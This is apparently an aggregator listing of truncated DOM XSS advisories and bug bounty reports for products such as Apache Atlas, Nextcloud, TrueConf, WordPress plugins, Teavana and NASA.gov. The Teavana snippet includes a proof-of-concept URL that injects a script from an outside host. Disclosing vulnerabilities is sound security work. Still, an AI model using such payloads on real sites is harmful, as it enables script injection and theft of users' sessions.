CVE-2017-3152

Apache Atlas versions 0.6.0-incubating and 0.7.0-incubating were found vulnerable to DOM XSS in the edit-tag functionality...

DOM-based Cross-Site Scripting (XSS)

Client-side scripts are used extensively by modern web applications. They perform from simple functions such as the formatting of text up to full manipulation of client-side data and Operating System interaction. Unlike traditional Cross-Site Scripting XSS, where the client is able to inject...

Adobe Acrobat Force-Installed Vulnerable Chrome Extension

On January 12th, an automatic Adobe Acrobat update force installed a new chrome extension with ID efaidnbmnnnibpcajpcglclefindmkaj. You can view it on the Chrome Webstore here: https://chrome.google.com/webstore/detail/adobe-acrobat/efaidnbmnnnibpcajpcglclefindmkaj/ I can see from the webstore...

Nextcloud: DOM XSS vulnerability in search dialogue (NC-SA-2017-007)

DOM XSS vulnerability in search dialogue NC-SA-2017-007 Risk level: Low CVSS v3 Base Score: 2.6 AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N CWE: Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' CWE-79 Description Inadequate escaping lead to XSS vulnerability in the searc...

Starbucks: DOM XSS on teavana.com via "pr_zip_location" parameter

Hello Starbucks team,, I've discovered DOM XSS on teavana.com involving prziplocation URL parameter. PoC: http://www.teavana.com/us/en/tea/green-tea/winterberry-tea-blend-32601.html?prziplocation=//whitehat-hacker.com/xss.j? Works in all major browsers. Vulnerable code is in full.js: js var DR =...

TrueConf Server 4.3.7 Cross Site Scripting / Open Redirect / CSRF

TrueConf Server v4.3.7 Multiple Remote Web Vulnerabilities Vendor: TrueConf LLC Product web page: https://www.trueconf.com Affected version: 4.3.7.12255 and 4.3.7.12219 Summary: TrueConf Server is a powerful, high-quality and highly secured video conferencing software server. It is specially...

TrueConf Multiple Vulnerabilities (Jan 2017)

TrueConf is prone to multiple vulnerabilities. Copyright C 2017 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

TrueConf Server 4.3.7 - Multiple Vulnerabilities

TrueConf Server v4.3.7 Multiple Remote Web Vulnerabilities Vendor: TrueConf LLC Product web page: https://www.trueconf.com Affected version: 4.3.7.12255 and 4.3.7.12219 Summary: TrueConf Server is a powerful, high-quality and highly secured video conferencing software server. It is specially...

TrueConf Server v4.3.7 Multiple Remote Web Vulnerabilities

Summary TrueConf Server is a powerful, high-quality and highly secured video conferencing software server. It is specially designed to work with up to 250 participants in a multipoint conference over LAN or VPN networks. TrueConf Server requires no hardware and includes client applications for al...

TrueConf Server 4.3.7 - Multiple Vulnerabilities

Exploit for php platform in category web applications TrueConf Server v4.3.7 Multiple Remote Web Vulnerabilities Vendor: TrueConf LLC Product web page: https://www.trueconf.com Affected version: 4.3.7.12255 and 4.3.7.12219 Summary: TrueConf Server is a powerful, high-quality and highly secured...

WordPress iThemes Security Plugin <= 5.3.4 - DOM XSS

This plugin is prone to potential authenticated DOM cross site scripting vulnerability. Solution Update the plugin...

LocalTapiola: www.lahitapiola.fi DOM XSS by choosing regional company

please check screenshot first. browser: Chromelatest or Internet Explorer 11 steps to reproduce: - go to page http://www.lahitapiola.fi/henkilo" - press Valitse alueyhtiösi button - input zip e.g. 111 vulnerable js code - https://www.lahitapiola.fi/cs/lahitapiola/js/scripts.js...

WordPress U-Design Theme 2.7.9 Cross Site Scripting Vulnerability

WordPress U-Design theme versions 2.3.0 through 2.7.9 suffer from a cross site scripting vulnerability. u-desing is a wordpress theme prone to DOM XSS vulnerability. Vendor url: http://themeforest.net/item/udesign-responsive-wordpress-theme/253220 versions between 2.7.9 – Updated: 08.05.2015 and...

Oracle E-Business Suite - Cross-site Scripting vulnerability

Application: E-Business Suite Vendor URL: Oracle Bugs: Cross-site Scripting Reported: 17.07.2015 Vendor response: 24.07.2015 Date of Public Advisory:20.10.2015 Reference: Oracle CPU Oct 2015 Authors: Nikita Kelesis, Ivan Chalykin, Alexey Tyurin ERPScan VULNERABILITY INFORMATION Class: Cross-site...

Yoast SEO <= 2.1.1 - Authenticated Stored DOM XSS

The "snippet preview" functionality of the Yoast WordPress SEO plugin was susceptible to cross-site scripting in versions before 2.2. Vulnerable URL: /wp-admin/post-new.php?posttitle= Vulnerable Code wordpress-seo/js/wp-seo-metabox.js: function ystcleanstr if str == '' || str == undefined return...

Discuz full version of the stored DOM XSS that can be hit, the administrator attached to the Discuz official development 4 pit&validation script-vulnerability warning-the black bar safety net

Discuz editor JS to improper handling of lead storage typeXSS. Reason: JS native take ELEMENT in the HTML content of the method, the service side escape single double quotes entity encoding is inverted. Code analysis: Here with the latest version of the local test payload is:...

jsDelivr: Pretty Photo Dom XSS

Hi Team, Javascript for http://www.jsdelivr.com/!prettyphoto hosted on the website points to 3.1.5 which is vulnerable to DOMXSS the upstream released an update 3.1.6 7 days back still the CDN is serving vulnerable edition effectively making all the websites vulnerable to DoMXSS Details about the...

WordPress example.html 跨站脚本漏洞

知道创宇安全研究团队 Evi1m0 ：2015.5.7概要WordPress 被爆 DOM XSS 漏洞，数百万站点受影响，该漏洞存在于 WordPress 流行的 Genericons example.html 页面中，默认主题 Twenty Fifteen 及知名插件 Jetpack 都内置了该页面，经过分析发现原来是 example.html 使用了存在 DOM XSS 漏 洞的 jQuery老版本 。11 年 dmethvin 提交 jQuery 1.6.1 版本的 Ticket 9521 , 其原因是由 $ | jQuery 预期的 CSS 选择器在其他情况下可以用于创建 HT...

Artificial Intelligence Theme <= 1.2.3 - DOM Cross-Site Scripting (XSS)

The artificial-intelligence WordPress theme was affected by a DOM Cross-Site Scripting XSS security vulnerability...

NASA.gov Cross Site Scripting

Exploit Title: NASA.gov main-domain DOM-XSS Date: 01/04/2015 Author: Yann CAM - Georges TAUPIN @ Synetis - ASafety Vendor or Software Link: www.nasa.gov Version: / Category: DOM-XSS Google dork: Tested on: NASA.gov main-domain NASA description :...